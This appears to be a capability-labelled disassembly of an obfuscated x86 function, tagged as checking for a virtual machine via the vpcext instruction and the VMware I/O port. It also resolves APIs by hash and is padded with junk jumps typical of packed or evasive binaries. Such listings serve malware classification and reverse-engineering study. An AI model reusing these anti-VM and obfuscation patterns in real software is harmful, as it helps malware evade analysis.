Function at 0x600824
Capabilities:
Check for vm using instruction vpcext
Reference the vmware io port

Disassembly:
add edx, 4
jmp 0x5ffc7d
sub esi, eax
sub esi, 0x36fdb1bd
jmp 0x5fe507
sub eax, 0xdc95437
push ebx
mov ebx, 0x3fffa986
jmp 0x6000d3
add eax, ebx
sub eax, 0x3bffbfc0
jmp 0x5ff2b4
mov eax, 0x9e3423aa
xor esi, eax
pop eax
add eax, esi
pop esi
add eax, edi
sub esp, 4
mov dword [esp], ebp
jmp 0x5fda96
mov dword [esp], eax
push edi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg dword [esp], ebx
pop esp
jmp 0x5fde96
mov dword [esp], esi
call eax
jmp 0x5fd60f
xchg edi, eax
not eax
jmp 0x5fe847
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg dword [esp], edx
pop esp
mov dword [esp], edi
push 4
pop edi
add esi, edi
push dword [esp]
pop edi
add esp, 4
jmp 0x5fe0f5
or eax, edx
mov edx, dword [esp]
jmp 0x5fd258
xchg dword [esp], esi
jmp 0x5fe935
dec eax
inc eax
jmp 0x5fdcc7
mov edi, esp
add edi, 4
sub edi, 4
jmp 0x5fdb45
mov dword [esp], esi
push esp
pop esi
push ebp
mov ebp, 0x7d73e353
jmp 0x600c93
add esp, 4
push 0x4fa86a48
mov dword [esp], edi
mov edi, 0x372969f
jmp 0x5ff7c3
mov esi, edx
pop edx
and dword [esp + 4], esi
mov esi, dword [esp]
add esp, 4
sub dword [esp], 0x5ab9b800
jmp 0x5fe6f2
mov ebp, 0x79f8f08e
sub ebp, edx
jmp 0x600b5d
pop ebx
add edi, 0x6ef789b1
push edx
mov edx, 0xd415a2aa
sub edi, edx
pop edx
push esi
push eax
mov eax, 0x777dd01d
jmp 0x5fcfee
xor ebx, 0x5774cac3
and eax, ebx
pop ebx
add eax, 0xaecabbc3
mov ebx, eax
pop eax
sub eax, 0x47bf3533
add eax, 0x3bffbfc0
jmp 0x5fcab4
lea eax, [ebp + 0x124618aa]
mov dword [ebp + 0x122d3959], eax
cmp dword [eax + 4], 5
jne 0x5fd64a
cmp dword [eax + 8], 2
jne 0x5fd64a
cmp byte [eax + 0x14], 0
jne 0x5fd64a
cmp dword [eax + 4], 6
jb 0x5fd65e
mov dword [ebp + 0x122d3c2c], 1
cmp dword [ebp + 0x122d1241], 0
jne 0x5fd68f
mov esi, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword [esp + 4]
pop edi
jmp 0x5ffb01
add ecx, 4
xchg dword [esp], ecx
pop esp
push dword [esp]
mov eax, dword [esp]
push ecx
jmp 0x5fea5d
not ebx
xor ebx, 0xd06f36af
add edx, ebx
pop ebx
push 0x4973000
mov dword [esp], edi
mov edi, 4
add edx, edi
pop edi
push edx
jmp 0x5fea18
mov ebp, 0x7ebfa067
shr ebp, 8
jmp 0x5fde03
xchg dword [esp], edi
pop esp
mov dword [esp], ebx
mov ebx, 4
sub eax, ebx
mov ebx, dword [esp]
add esp, 4
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
jmp 0x5ff314
pop eax
not ebp
jmp 0x5fef74
not eax
shr eax, 3
xor eax, 0x7feee3d0
mov esi, eax
jmp 0x600e45
dec ebp
and ebp, 0x7ebf36cb
add ebp, 0x7fef0f38
xor ebp, 0xf5d1d69e
jmp 0x5fe630
mov dword [esp], edx
push 0x6bff81ef
pop edx
push edx
push dword [esp]
jmp 0x60132a
lea esi, [ebp + 0x124618aa]
push 0x161b13c0
mov dword [esp], eax
mov eax, esp
push ecx
jmp 0x5ff569
push 0x7c96ad25
jmp 0x5ff9de
pop edx
sub esp, 4
mov dword [esp], ebx
mov ebx, 0x2f90c954
jmp 0x5fd90b
xor ebx, esi
pop esi
mov edi, ebx
pop ebx
or dword [esp + 4], edi
pop edi
jmp 0x600b6f
pop eax
jmp 0x5ff5a4
sub eax, ebp
pop ebp
jmp 0x5fe8a9
add dword [esp], 0x5398b76c
add dword [esp], 0xd4e15725
push ecx
mov ecx, 0x1fff1960
sub dword [esp + 4], ecx
pop ecx
push eax
mov dword [esp], edi
mov edi, 0x12b1b628
add dword [esp + 4], 0x67ffc73b
add dword [esp + 4], edi
jmp 0x60006c
push ebp
jmp 0x601bf7
xchg edi, eax
push ebx
mov ebx, 0
jmp 0x5ff359
xor eax, 0x3e777100
sub eax, 0xece797df
xor ebp, eax
jmp 0x5fdc35
pop edi
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
pop esp
sub eax, 0x3bef0e36
push 0xab37b8
mov dword [esp], esi
push edx
mov dword [esp], esp
jmp 0x5ff714
mov esp, dword [esp]
mov dword [esp], eax
push ebp
push ecx
mov ecx, 0x5fbd5128
jmp 0x6004af
push dword [esp + 4]
pop edx
jmp 0x60008e
mov ecx, esp
jmp 0x60177c
mov edi, dword [esp]
add esp, 4
mov byte [ebp + 0x122d2ff1], 0x53
push 0x99395f90
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d1d81], eax
mov byte [ebp + 0x122d2ff1], 0x57
push 0x90045206
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d3575], eax
mov byte [ebp + 0x122d2ff1], 0x43
push 0xbc907028
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d3599], eax
mov byte [ebp + 0x122d2ff1], 0x4c
push 0xd9da1ce9
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d2d45], eax
mov byte [ebp + 0x122d2ff1], 0x46
push 0xbade0614
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d39ea], eax
mov byte [ebp + 0x122d2ff1], 0x44
push 0xbb738e55
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d34a2], eax
mov byte [ebp + 0x122d2ff1], 0x47
push 0x8a0fb5e2
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d3ba0], eax
mov byte [ebp + 0x122d2ff1], 0x47
push 0x83d0b5f3
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d35f8], eax
mov byte [ebp + 0x122d2ff1], 0x77
push 0xf397a8a3
push dword [ebp + 0x122d3590]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d2061], eax
mov byte [ebp + 0x122d2ff1], 0x47
push 0x8728faf6
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d225e], eax
mov byte [ebp + 0x122d2ff1], 0x43
push 0xbc8e6efc
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d3972], eax
mov byte [ebp + 0x122d2ff1], 0x45
push 0x8e726969
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d39c6], eax
mov byte [ebp + 0x122d2ff1], 0x44
push 0xb8f2ec64
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d1f34], eax
push 0xcee4e7b8
push dword [ebp + 0x122d38f4]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x12459c36], eax
mov byte [ebp + 0x122d2ff1], 0x43
push 0xc0764aa7
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d38cf], eax
mov byte [ebp + 0x122d2ff1], 0x56
push 0xd41f6d39
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d3c88], eax
mov byte [ebp + 0x122d2ff1], 0x53
push 0xfcb148d8
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
mov dword [ebp + 0x122d3a1e], eax
cmp byte [ebp + 0x12461459], 0
je 0x60158f
lea eax, [ebp + 0x1246143b]
push esi
mov dword [esp], 0x7b3f5294
jmp 0x600fd8
mov dword [esp], 0x7c4d739b
mov dword [esp], ecx
mov ecx, esp
jmp 0x600752
xor ebp, 0xc3514c47
mov ebx, ebp
pop ebp
sub ebx, 0x6ad393f6
sub ebx, 1
push esi
push ecx
mov ecx, 0x99d83766
mov esi, ecx
pop ecx
jmp 0x5fe29b
pop ebx
xor esi, 0x3fb95153
add edx, esi
pop esi
sub esp, 4
mov dword [esp], ebp
push edx
mov edx, 0x79f8f08a
jmp 0x5fd3c3
mov ecx, 0x7ddfa1c3
push edx
mov edx, 0x65cab59c
jmp 0x5fff4f
inc esi
push eax
jmp 0x5fcb03
add eax, 0x47bf3533
pop ebx
push edi
jmp 0x5fd149
mov esp, dword [esp]
mov dword [esp], esi
mov esi, 0x94
push ebx
jmp 0x5ff8fa
sub ebx, edi
push ebx
xor dword [esp], 0x7b0fce92
pop edi
jmp 0x5ffe19
push esp
pop edi
add edi, 4
sub edi, 4
push edi
push dword [esp + 4]
jmp 0x601008
add ecx, 4
xchg dword [esp], ecx
pop esp
jmp 0x601318
xor eax, 0x7bfff7d9
shl eax, 8
jmp 0x5fe898
push 0x7dfed389
pop eax
sub dword [esp + 4], 0x5fbfd255
sub dword [esp + 4], eax
add dword [esp + 4], 0x5fbfd255
pop eax
jmp 0x5ffead
mov dword [esp], edx
jmp 0x6010f8
xor esi, dword [esp]
xor dword [esp], esi
xor esi, dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
push dword [esp]
jmp 0x5ff844
pop edx
push esi
push ebx
mov ebx, 0x6ffe2400
add ebx, 0x19eae88f
dec ebx
sub ebx, 0x7dff764b
add ebx, 0x7367c9aa
inc ebx
add ebx, 0xfcac1acb
jmp 0x601f2a
add dword [esp], 4
mov esi, dword [esp]
add esp, 4
jmp 0x5fcea2
xor eax, edi
pop edi
and edx, eax
pop eax
add edx, 0x5df2ea9a
shl edx, 7
jmp 0x5ff9f1
pop eax
add esp, 4
cmp dword [ebp + 0x122d3a68], 0
jne 0x5ff85d
cmp dword [ebp + 0x122d3d3c], 0
je 0x5ff872
push eax
mov eax, eax
mov eax, 0x7d0
mov dword [ebp + 0x122d302a], eax
call dword [ebp + 0x122d2a4b]
pop eax
push edi
push 0x247773bc
mov dword [esp], eax
push eax
mov eax, 0x3fbda100
xor dword [esp + 4], eax
mov eax, dword [esp]
push edx
jmp 0x5ffad4
mov ebx, esi
mov dword [eax], ebx
pop ebx
jmp 0x5fd78f
mov dword [esp], eax
mov eax, 4
add esi, 0x36fdb1bd
jmp 0x5fca10
or edx, 0x377b1f01
jmp 0x601e24
mov edx, esp
add edx, 4
jmp 0x5fc9d0
pop dword [esp]
mov esp, dword [esp]
push dword [esp]
jmp 0x600835
xchg dword [esp], edx
pop esp
push dword [esp]
push dword [esp]
pop edi
jmp 0x5ffe24
pop ebp
add esp, 4
sub dword [esp + 4], 0x2b438c5f
add dword [esp + 4], ecx
jmp 0x601e7c
xor edi, 0x7b0fce92
jmp 0x5fd529
add esp, 4
add esp, 4
xor edi, 0x3fbda100
push edi
push eax
jmp 0x5ff549
pop eax
push eax
mov dword [esp], ecx
jmp 0x5ff1d0
push edx
mov edx, 0x7fdfccef
not edx
push eax
mov eax, 0x577f92b2
xor eax, 0x3b5587fa
push edx
mov edx, 0x73df8105
jmp 0x5fcf24
sub edx, 0x12002dfe
add eax, 0x3f015bf3
add eax, edx
sub eax, 0x3f015bf3
jmp 0x6007d5
and ecx, edx
pop edx
sub ecx, 0xe7cbcdf7
add eax, ecx
push dword [esp]
pop ecx
jmp 0x600493
sub dword [esp + 4], 0x67ffc73b
pop edi
mov dword [esp], ebp
mov dword [esp], esi
jmp 0x601563
push edx
jmp 0x5fee79
pop dword [esp]
pop esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg dword [esp], esi
mov esp, dword [esp]
jmp 0x5fdfe1
add esp, 4
jmp 0x601d67
xor ebx, 0x77bbbadb
shl ebx, 6
shl ebx, 1
and ebx, 0x7bbf8d49
jmp 0x5fd5cd
add esp, 4
jmp 0x5febf6
mov ebp, ecx
push dword [esp]
mov ecx, dword [esp]
add esp, 4
add esp, 4
add dword [esp + 4], ebp
push dword [esp]
pop ebp
sub esp, 4
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
jmp 0x600f2b
add esp, 4
jmp 0x60107a
sub edx, 1
neg edx
xor edx, 0x77ef5971
xor edx, 0x82b4011b
jmp 0x5fd335
add ecx, 4
jmp 0x5fd7db
pop edx
cmp dword [ebp + 0x122d3a68], 0
jne 0x6007e8
cmp dword [ebp + 0x122d3d3c], 0
je 0x6007fd
push eax
mov eax, eax
mov eax, 0x7d1
mov dword [ebp + 0x122d302a], eax
call dword [ebp + 0x122d2a4b]
pop eax
sub esp, 4
mov dword [esp], eax
push esi
mov esi, 0x737f6406
sub dword [esp + 4], 0x71737e7a
sub dword [esp + 4], esi
add dword [esp + 4], 0x71737e7a
push dword [esp]
pop esi
push ebp
mov ebp, esp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
jmp 0x601dc4
pop eax
push 0x43c99f8b
mov dword [esp], edi
jmp 0x5ff383
pop edx
add edx, ebp
jmp 0x601121
push 0x30f6f53d
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
pop esp
mov dword [esp], edi
mov dword [esp], eax
mov eax, 0x2d88d91d
sub dword [esp + 4], eax
pop eax
mov dword [esp], eax
lea eax, [ebp + 0x124618aa]
push eax
jmp 0x60187e
push ebx
mov ebx, 0x5fef4389
shr ebx, 1
shl ebx, 1
and ebx, 0x2efd9aff
add ebx, 1
push ebp
mov ebp, 0x7b326c61
sub ebp, 0xff3b417e
or ebx, ebp
pop ebp
jmp 0x601962
add ebp, 0x6f9b6816
xor ebp, 0xed0f4b6d
add esi, ebp
pop ebp
sub esi, 4
jmp 0x5fcfd7
pop ecx
mov eax, dword [esp]
push edx
push esp
jmp 0x5ff5cf
pop eax
add esi, 0x7cca0aca
jmp 0x5ff231
pop esp
pop eax
jmp 0x600c17
dec dword [esp]
push esi
push edx
jmp 0x6012ea
pop edi
jmp 0x6015ec
cmp dword [ebp + 0x122d3a68], 0
jne 0x60108c
cmp dword [ebp + 0x122d3d3c], 0
je 0x60109b
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x122d1dd0]
pop eax
sub esp, 4
jmp 0x5fcc61
mov edx, 0x7dae8c37
shl edx, 2
xor edx, 0x7aefafa5
add edx, 0xffffffff
neg edx
neg edx
push ecx
mov ecx, 0x7ffd3e2c
jmp 0x601d2e
push esp
jmp 0x60129f
pop ebp
jmp 0x601c9c
xor dword [esp], eax
xor eax, dword [esp]
mov esp, dword [esp]
mov dword [esp], edi
mov dword [esp], eax
mov dword [esp], edi
jmp 0x5fcd08
pop eax
add eax, 4
push edx
mov dword [esp], edi
mov edi, 0x5fc1156d
xor edi, 0x3adf0d91
jmp 0x5fcd99
mov edx, 0x7ffbb454
jmp 0x6006d7
add esp, 4
jmp 0x6017bb
pop edi
add esp, 4
mov edx, dword [esp]
add esp, 4
xor dword [esp + 4], edi
push dword [esp]
pop edi
jmp 0x600088
xor eax, dword [esp]
jmp 0x60122e
mov dword [esp], edx
mov dword [esp], ebp
mov dword [esp], esi
mov dword [esp], eax
push 1
push 0
push 0
call dword [ebp + 0x122d3599]
mov dword [ebp + 0x122d1de4], eax
push 0xffffffffffffffff
push dword [ebp + 0x122d1de4]
call dword [ebp + 0x122d3575]
push 0x29a142b4
mov dword [esp], eax
sub esp, 4
mov dword [esp], ebp
push 0x7e58066f
mov dword [esp], ecx
jmp 0x6016a0
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], esi
push esp
mov esi, dword [esp]
push edx
push esp
jmp 0x5fe1cc
mov dword [esp], 0x309a4c01
mov dword [esp], ebx
sub esp, 4
mov dword [esp], eax
push 0x3f7ed13b
mov eax, dword [esp]
add esp, 4
mov ebx, eax
pop eax
push eax
mov eax, 0x6080ecb7
xor ebx, eax
pop eax
push ebx
xor dword [esp], 0x6d8801f2
mov ebp, dword [esp]
add esp, 4
xor ebp, 0x6d8801f2
mov ebx, dword [esp]
add esp, 4
add dword [esp + 4], 0x7c218f00
jmp 0x601d11
add ecx, 4
jmp 0x5ff3ef
xor eax, 0x6bff81ef
sub esp, 4
mov dword [esp], ebp
mov dword [esp], eax
jmp 0x5fe822
mov eax, esp
push ecx
mov dword [esp], ebx
push eax
mov eax, 0x5efec880
jmp 0x5fca33
add ebx, 0xdfbe263d
sub eax, ebx
mov ebx, dword [esp]
jmp 0x600630
mov ebx, 0x6f7fd49c
sub ebx, 0x7fede31c
or ebx, 0x2f0fb7a7
sub ebx, 0x7ce70654
sub ebx, 0x77bb7300
sub ebx, 0x7b5e1a53
add eax, ebx
pop ebx
add eax, edx
sub eax, 0x7f9f6400
pop edx
mov byte [ebp + 0x122d2ff1], 0x47
push 0x93c8f7c1
push dword [ebp + 0x122d15a1]
call dword [ebp + 0x122d39f6]
push eax
mov dword [esp], ebp
mov dword [esp], edi
mov dword [esp], 0x77de6a3c
xor dword [esp], 0xaa3dfae
push edi
push ebx
push esi
mov dword [esp], ebp
push 0x73ad5c81
jmp 0x601f63
add eax, esi
pop esi
pop esi
sub esp, 4
jmp 0x5fd165
mov dword [esp], 0x65c0c6ae
mov dword [esp], ecx
push ebp
push 0x68fb718c
jmp 0x601c57
mov ebp, dword [esp]
add esp, 4
or ebp, 0x3efb72fb
sub ebp, 0x37ff8cb1
shl ebp, 2
xor ebp, 0x314ea3
mov ecx, ebp
jmp 0x601d26
xchg dword [esp], edx
pop esp
sub eax, 0x1bded39b
cmp dword [ebp + 0x122d3a68], 0
jne 0x601cb7
cmp dword [ebp + 0x122d3d3c], 0
je 0x601cc6
push eax
mov eax, eax
mov eax, 0
call dword [ebp + 0x12454f09]
pop eax
push eax
add dword [esp], 0x3bef0e36
push dword [esp]
pop eax
push eax
jmp 0x60111b
sub dword [esp + 4], ebp
sub dword [esp + 4], 0x7c218f00
pop ebp
mov eax, dword [esp]
jmp 0x6000cb
push dword [esp]
jmp 0x5ffcc5
sub ecx, 0x3f5fc4e0
jmp 0x601f82
push edx
mov edx, 0x71fe6b8a
jmp 0x5fff16
add ebp, 4
xchg dword [esp], ebp
pop esp
push dword [esp]
pop eax
add esp, 4
jmp 0x5ffef8
push esi
mov esi, 0x73ff8505
add edx, esi
mov esi, dword [esp]
add esp, 4
push ebx
jmp 0x6019a6
add dword [esp + 4], 0x2b438c5f
jmp 0x600d73
mov esi, 0x44442bee
xor esi, ebx
jmp 0x5fefca
pop ebp
push esi
mov esi, 0x5777e045
xor ebp, esi
pop esi
push eax
mov eax, 0x5f7fa32b
xor eax, 0x7bfa012c
sub eax, 0x5fffab70
jmp 0x5ff4f3
sub ecx, 0xb447d9d8
push ebx
mov ebx, 0x7f3743d1
sub edx, ebx
pop ebx
sub edx, ecx
add edx, 0x7f3743d1
pop ecx
add eax, edx
pop edx
push ebx
push ecx
mov ecx, 4
mov ebx, ecx
pop ecx
sub eax, 0x5d9b258d
sub eax, 0x3df7bc91
sub eax, ebx
add eax, 0x3df7bc91
push ecx
mov ecx, 0x5d9b258d
add eax, ecx
jmp 0x602057
pop ecx
pop ebx
jmp 0x601504